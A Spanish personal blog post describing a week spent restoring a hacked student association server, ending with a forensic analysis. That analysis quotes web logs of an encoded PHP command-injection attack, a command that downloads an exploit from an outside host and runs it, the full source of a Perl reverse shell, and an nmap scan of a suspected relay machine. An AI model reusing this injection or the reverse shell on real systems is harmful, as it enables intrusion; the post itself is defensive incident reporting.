Del paraíso al infierno
Eso pasó el domingo 16, pasé del paraíso al infierno.
Sandra y yo hicimos una sensacional escapada de fin de semana a Granada, donde pude disfrutar de nuevo (y nunca me cansaré) de la Alhambra, y los barrios viejos de la ciudad, poblados por doquier de tiendas y ferviente actividad incluso en el frío invierno.
Imposible olvidar tampoco las raciones enoooormes de churros y a precios ridículos, y las tapas gratis -dignas de un rey- que te ponen con la caña o con la sangría.
Siempre que voy a Granada me vuelvo triste, pensando qué narices hacemos en la capital, con precios imposibles para salir a tomar algo con los amigos. Allí puedes tomar un par de cañas y cenar con las tapas que te ponen por menos de 3 euros, mientras que aquí te gastas casi eso en el transporte para ir a cualquier lado. En mi viaje a Valencia me pasó otro tanto de lo mismo, aunque en el caso de Granada la tradición de tapas hace aún más brusca la diferencia.
Pero la vuelta no era el infierno en sí. El infierno empezó con un mensaje que me enviaron mientras volvía en coche, diciendo que habían crackeado el servidor de nuestra asociación de estudiantes, Eurielec, y que habían fastidiado las páginas web e instalado algún demonio.
¡Genial! ¡Estupendo! En plena organización del Congreso de EESTEC quedarte sin web del congreso, sin servidor, y ponte a sanear y asegurar el servidor o reinstalarlo con el lío que tenemos.
Nada más llegar nos comentamos, y descubrí algunos procesos ejecutándose que no habían descubierto, y optamos por apagar la máquina para analizarla en frío y no correr más riesgos.
Este es el infierno que sufrí esa semana para restaurar el servidor, luchando casi más contra el maldito hardware que contra los crackers:
Inicio: Domingo de madrugada
- Unos capullos brasileños crackean cero (nuestro servidor)
- Borran los index de la web. Sin hacer copias de nada.
- Ponen su firma en la web, con un enlace a un desagradable video de una ejecución en Irak, y se jactan de “venganza de los países que apoyaron a la guerra".
- Instalan unos cuantos procesos para controlar la máquina
- Intentan instalar un módulo en el kernel para ocultar programas, ficheros y otras huellas (sin éxito)
- Nos damos cuenta
- Rinze toma las primeras acciones, matando algún proceso y recuperando algunos index.
- Consigo conectarme a Internet (nada más llegar del viaje)
- Descubro otro proceso sospechoso.
- Se decide apagar la máquina y reinstalar para evitar que la sigan controlando, y ver si se pueden recuperar cosas.
- Para que no se cuelgue todo logro entrar en las máquinas por la noche, desmontar los /home (que se guardaban en cero) y parar el servidor de correo (que ya no tiene dónde guardar el correo).
El Infierno: Lunes
- Tuesto una gentoo para montar los discos en read-only y analizarlos.
- Los discos duros de cero dan problemas.
- El ordenador se cuelga cada 2x3, sectores defectuosos, etc.
- Abandono la búsqueda de logs incriminatorios para centrarnos en reinstalar y recuperar servicios.
- Hago backup de lo que puedo a mi HD portátil, y las cosas del congreso las copio a seis (otro ordenador de la asociación) y grabo un CD.
- Se decide comprar nuevos HD y reinstalar.
- Voy corriendo a la beca, que ya subo tarde.
- Se compran nuevos HD.
- Me llevo cero a casa, javi me acerca los discos nuevos.
- Planifico la asignación de espacio, particiones, raid, etc.
- Intento instalar cero en mi casa por la noche, pero el instalador de ubuntu no es muy allá e instala mal el grub con discos en raid.
- Además los discos duros nuevos no los detecta la bios, y hay que instalar el grub en el disco duro pequeño, que tiene una partición boot en raid1 con las de los grandes.
- Logro instalar el grub a mano.
- El ordenador no arranca, parece que el disco pequeño tiene que ser además master para que la puta mierda de placa arranque.
- Cambio los discos, reinstalo, instalo el grub a mano.
- Arranca.
- Peta… el grub no encuentra el stage2 :?
- Me desespero
- Me acuesto
Mega infierno: Martes
- Empiezo a ver por que petaba el stage2 de grub.
- El disco duro pequeño también tiene sectores chungos: ¡Fieeestaaaa!
- Intento hacer particiones más pequeñas, a ver si al principio no tiene sectores dañados
- Desaparece misteriosamente las tablas de particiones de los discos grandes tras el reboot.
- No tengo una copia de como estaban las particiones. A reinstalar…
- Reinstalando con partición /boot más pequeña peta del todo el disco duro pequeño, y ya no se puede ni particionar.
- (Maldiciones varias censuradas para el público)
- Reinstalo desde el principio, pasando del disco pequeño (planeando arrancar desde disquete) e instalando -como no- el grub a mano.
- Ninguna disquetera de eurielec es capaz de grabar un disquete de arranque con el grub.
- (Maldiciones varias censuradas para el público)
- (Maldiciones varias censuradas para el público)
- Al final probando logro arrancar con los discos grandes engañando a la bios, poniendo los HD como definidos por el usuario. En anteriores ocasiones (con los HD antiguos) fallaba con el mensaje “Hard Disk Fail” pero con los nuevos parece que tira.
- Estaban definidos como del tipo usuario, de 640 mb y 8 gigas respectivamente (los dos son de 200 gigas XD ).
- Al arrancar linux sólo detecta bien el que estaba en la bios como de 8 gigas (por estar definido como LBA quizás). Los dispositivos raid se quejan amargamente, pero espero que no se haya petao todo again.
- Reinicio, cambio los dos discos en la bios como si fueran de 8 gigas, en LBA, arranco… El disco que antes era de 640 mb ha perdido la tabla de particiones.
- Arrancando en modo single, duplico las tablas de particiones del que si que se mantiene al que ha cascado con sfdisk, y soy capaz de formar de nuevo los raid.
- Rearranco y el ordenata no arranca. Rehacer las tablas de particiones ha debido joder el grub del sector de arranque.
- Intercambio los discos (por precaución había instalado el grub en los dos, y como la partición boot es RAID 1 todo debería funciona)
- y… Arranca!!!
- Vivan los raid con superbloque! Linux sabe recomponer los arrays raid y ver que partición va con cual, incluso en los RAID 0, a pesar del cambio de bus de los discos
- Algunos arrays no se han iniciado correctamente, por que tuvieron cambios cuando se arrancó el sistema sin uno de los discos. Añado las particiones marcadas como defectuosas con mdadmn en caliente, y los arrays se van regenerando.
- Parece que ya todo va a ir bien!!!
- subo a gio, y desde allí empiezo a instalar cosas, y me voy dando cuenta de la magnitud del pifostio de recuperar todo…
- (Maldiciones varias censuradas para el público)
- Reinstalando las bases de datos me doy cuenta que volcando la base de datos de la web de congreso (y el wiki) había dado un error (por un attachment demasiado grande) y en vez de seguir con las otras tablas, había parado
- Por supuesto, siguiendo la ley de Murfy, la tabla que necesitaba para la web del congreso no está en el volcado.
- Yujuuuuu!
- (Maldiciones varias censuradas para el público)
- Bajo a Euri y meto los discos duros en el nuevo ordenador de euri, a ver si los puedo montar y recuperar la tabla que me falta y dejarlos así para ir recuperando cosas.
- El ordenador no arranca del CD. Limpio el CD. nada. Limpio el CD. Empieza a leerlo, muestra la pantalla de ubuntu, y casca al seguir tratando de leer. No me creo que un puto ordenador nuevo con una regrabadora de DVD no pueda leer el puto CD
- Me cago en mi mala suerte.
- Me cago en mi estampa.
- Busco otro lector de CDs por el garito. No encuentro ninguno suelto. Desmonto el de un ordenador por ahí tirado y lo pongo en el nuevo. No funciona tampoco: este lectos ni siquiera abre la bandeja
- Se me hacen las putas 22:30 en la escuela.
- Abandono y mañana seguiré con ello.
- Como por la noche me aburro, sigo con el tema.
- Tenía una copia del /var/lib/mysql en el disco duro externo.
- Me hago con unos paquetes deb de la misma versión que la DB de cero, y con los binarios tras algo de sudor logro hacer un dump (esta vez sin errores de las bases de datos)
- Restauro la web del congreso (una versión antigua del diseño, aunque el contenido es de DB y no se ha perdido nada) y la web de eurielec.
- Corrijo varios errores a raíz del nuevo PHP y nueva versión de mysql instaladas.
Las cosas empiezan a funcionar: Miércoles
- Me echan un cable y ponen en el nuevo ordenador un lector de CDs decente.
- Arranco con el CD de Ubuntu, monto todo intentando aclararme de qué partición es cada cosa.
- Restauramos el correo de forma provisional, copiando los .procmailrc’s y .forward de cada uno al server de correo (uno) para que guarde el correo en el /home local, pero lo haga bien, y reenviando los mensajes que la gente se quiere enviar fuera.
- Llega el momento de copiar los datos al nuevo servidor. Me doy cuenta que lo mejor va a ser copiarlo por NFS, y la Ubuntu no trae nfs en el disco de instalación.
- Tuesto una Gentoo minimal, que en 60 megas tiene de todo, incluído server nfs, ssh y demás.
- Vuelvo a montar todo, y empiezo a copiar los homes (un tar de 38 gigas, ahí es nada).
- Acaba ya muy tarde, y copio otras cosas (los crontabs, el /etc, los scripts y programas personalizados de la asociación, etc…)
- Restauramos todo salvo los jomes, que cuando estén hay que juntar las carpetas de correo antiguas con el nuevo correo que ha ido llegando.
- Ya en casa sigo restaurando aplicaciones web, con sumo cuidado (pues sospechamos que la entrada fue via web, y se hicieron root con el local root exploit recientemente encontrado en el kernel).
- Empezamos a restaurar los blogs.
- Me doy cuenta que la he cagado con los homes. Estaban en RAID 1, con dos discos en paralelo con copias idénticas, para que si uno falla no se pierda la información. Desgraciadamente una de las particiones había dado un error, y cuando pasa eso, linux automáticamente saca la partición de array raid (se deja de usar), y por lo tanto se queda con información antigua.
- ¿Adivináis de qué partición había recuperado los homes?
- De la que estaba con información antigua. Bueno, habrá que volverlos a copiar mañana
Venga que ya queda poco: Jueves
- Copio los homes buenos al servidor (Otros 39 gigas de tar, y luego descomprimirlo).
- Ya por la tarde todo parece listo para restaurar los homes:
- Renombro los public_html, para que todo el mundo revise que aplicaciones web tiene instaladas allí.
- Quitamos los directorios .ssh, que han podido ser comprometidos
- Paramos el servidor de correo, añadimos el correo nuevo recibido a las carpetas antiguas, y volvemos a montar los homes en el servidor de correo. Despues arrancamos el servidor de correo.
- El resto de máquinas del garito vuelven a montar los homes y a estar operativas.
Relax: Viernes
- Empiezo a recibir millones de agradecimientos por el curro de estos días en mi correo.
- Restauramos lo que vamos viendo que falta, aplicaciones, las bases de datos bajo demanda.
- Ponemos a funcionar de nuevo los blogs, y yo empiezo a probar el wordpress.
- Curro mucho mucho en la Beca.
- Unos pocos nos vamos de tapeo, que a pesar de los exámente aún hay gente que se anima.
Día en familia + hacking: Sábado
- Paso un tranquilo día en familia.
- Por la noche, entre los múltiples cafés del día, el haber dormido hasta muy tarde, y que soy un vampiro y duermo muy poco, me pongo a hacer análisis forense del servidor, aburrido de dar vueltas en la cama.
- A las 7:54am envío el report del análisis forense, contento de haber encontrado las pistas para saber cómo y por donde entraron:
Parece que la controladora del nuevo ordenador es algo mejor que la del antiguo cero, y no se cuelga leyendo de disco, aunque tenga sectores chungos como pasaba con la máquina física de cero. Con dd conv=noerror he sacado una copia de toda la partición var de cero, y he recuperado ficheros con las reiserfsck –rebuild-tree -S.
Así he recuperado varias cosillas, la mayoría dañadas por que se trasteó demasiado con la partición en vez de apagar el equipo.
Pero lo mejor de todo es:
201.0.138.5 - - [15/Jan/2005:18:50:44 +0100] “GET /viewtopic.php?t=10&highlight=%2527%252esystem(chr(101)% 252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(73)% 252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(59)% 252echr(105)%252echr(100)%252echr(59)%252echr(117)%252echr(110)% 252echr(97)%252echr(109)%252echr(101)%252echr(32)%252echr(45)% 252echr(97)%252echr(59)%252echr(101)%252echr(99)%252echr(104)% 252echr(111)%252echr(32)%252echr(70)%252echr(73)%252echr(77))%252e%2527 HTTP/1.1″ 404 301 “-” “Linux”
Traducción una vez convertidos los caracteres unicode e interpretado el código php:
echo INICIO;id;uname -a;echo FIM
Todas las entradas similares que he encontrado son (ya traducidas):
Desde: 201.0.138.5 (201-0-138-5.dial-up.telesp.net.br) [15/Jan/2005:18:50:44 +0100] echo INICIO;id;uname -a;echo FIM [15/Jan/2005:18:54:06 +0100] echo INICIO;id;uname -a;echo FIM
Desde: 81.196.69.192 (81-196-69-192.constanta.cablelink.ro) [16/Jan/2005:17:12:16 +0100] uname -a;id;pwd;
Desde: 213.174.51.72 (k043.ims-firmen.de) [16/Jan/2005:06:07:15 +0100] echo INICIO;id;uname -a;echo FIM [16/Jan/2005:06:11:03 +0100] echo INICIO;lwp-download -a http://geocities.yahoo.com.br/dominusvis/xpl/cb.txt /tmp/cb;echo FIM Yupieeeeeeee!! aquí se baja el exploit! [16/Jan/2005:06:12:57 +0100] echo INICIO;perl /tmp/cb 200.191.250.34 21;echo FIM Y aquí lo ejecuta… [15/Jan/2005:05:21:19 +0100] echo INICIO;id;uname -a;echo FIM [15/Jan/2005:06:10:38 +0100] echo INICIO;id;uname -a;echo FIM
El cb ese es un script cutre y salchicero para poner una shell en el puerto 21:
—————————————————————- #!/usr/bin/perl use strict; use Socket;
#———————————————————> # # Infektion Group Back Shell # Codigo baseado no artigo sobre sockets # escrito por Rahul Chauhan : www.devshed.com e no bsh # escrito por Shellc0de :) # # Obrigado a todos! # # <escrito por Dominus Vis> # #———————————————————>
if(@ARGV < 2){ die("Uso: $0 ip portan"); }
# inicializa alvo e porta my $host = shift || $ARGV[0]; my $port = shift || $ARGV[1]; my $proto = getprotobyname(’tcp’);
# pega o endereço da porta my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr);
# cria o socket e conecta ao alvo socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die “socket: $!"; connect(SOCKET, $paddr) or die “connect: $!"; if(fork() == 0){ #cloca o processo ativo open(STDIN, “>&SOCKET"); open(STDOUT, “>&SOCKET"); open(STDERR, “>&SOCKET"); system("/bin/sh -i"); #executa /bin/sh -i no alvo! close(STDIN); close(STDOUT); close(STDERR); } —————————————————————-
Lo que no me queda claro es si lograron entrar por ahí, o tendrían que lanzar más comandos, por que en el puerto 21, ejecutándose como www-data no creo que pudieran poner una shell (y deberían saberlo, que para eso lanzan el id…
Luego debieron ponerlo en el puerto del irc, que no requiere ser root, entrar como www-data y hacerse root con el bug del kernel que salió anunciado recientemente.
La web http://geocities.yahoo.com.br/dominusvis/ es de lo más cutre, con unos cuantos scripts para poner de página web y ejecutar comandos en remoto (las imagenes tb son scripts, no imágenes reales, supongo que para que geocities no les añada la publicidad chunga) y unas cuantas aplicaciones de tipo scanner para windozes….
Por cierto, 213.174.51.72 es una máquina linux, con 3246 días de uptime (aunque se puede fakear), y burradas como tener el mysql abierto. Debía ser también hackeable, y supongo que nuestros amigos brasileños la usaron de pasarela (lo de FIM, FIN en brasileño les delata un poco):
Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2005-01-23 07:23 CET Interesting ports on k043.ims-firmen.de (213.174.51.72): (The 1627 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 7/tcp filtered echo 11/tcp filtered systat 15/tcp filtered netstat 19/tcp filtered chargen 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 67/tcp filtered dhcpserver 69/tcp filtered tftp 79/tcp filtered finger 80/tcp open http 111/tcp filtered rpcbind 119/tcp filtered nntp 135/tcp filtered msrpc 137/tcp filtered netbios-ns 138/tcp filtered netbios-dgm 139/tcp filtered netbios-ssn 443/tcp open https 445/tcp filtered microsoft-ds 515/tcp filtered printer 617/tcp filtered sco-dtmgr 901/tcp filtered samba-swat 1214/tcp filtered fasttrack 1248/tcp filtered hermes 1433/tcp filtered ms-sql-s 1434/tcp filtered ms-sql-m 2001/tcp filtered dc 2002/tcp filtered globe 3306/tcp open mysql 4660/tcp filtered mosmig 6346/tcp filtered gnutella 6699/tcp filtered napster Device type: general purpose Running: Linux 2.4.X|2.5.X OS details: Linux Kernel 2.4.0 - 2.5.20 Uptime 3.246 days (since Thu Jan 20 01:29:25 2005)
No, el puerto 21 es un ftp normal, no una shell… que ha sido lo primero que he probado. :)))
Estoy por denunciar la primera IP de todas al proveedor, a ver si les hacen algo, por que tenía pinta de no ser un server que ya hubieran hackeado.
Saludosssssssssssssss!
– !) bisho! -=] 23/01/2005 [=- ! ‘, _ ! ) ·> ? ) :: Don’t promote SW Monopolies. Say NO to software :: ,???—’ :: patents :: [ PEACE ] :: EuropeSwPatentFree Demostration: :: ……:: http://online-demo.org ::
Como se ve, la semana pasada fueron unos días para olvidar. Estrés, agobio, y mucho mucho curro.
Después de todo te queda una sensación agria, y mucho desprecio para las personas que se dedican a joder servidores ajenos. Encima en este caso por un supuesto grupo en contra del “racismo” y la “guerra", que luego emplea la misma guerra, cibernética, pero guerra, y todo sin consideraciones de ningún tipo, por que si se hubieran fijado habrían visto muestras del papel activo de nuestra asociación contral la guerra.
Bueno, ya pasó, y esa despreciable gente no se merece ni un minuto más de nuestro tiempo.
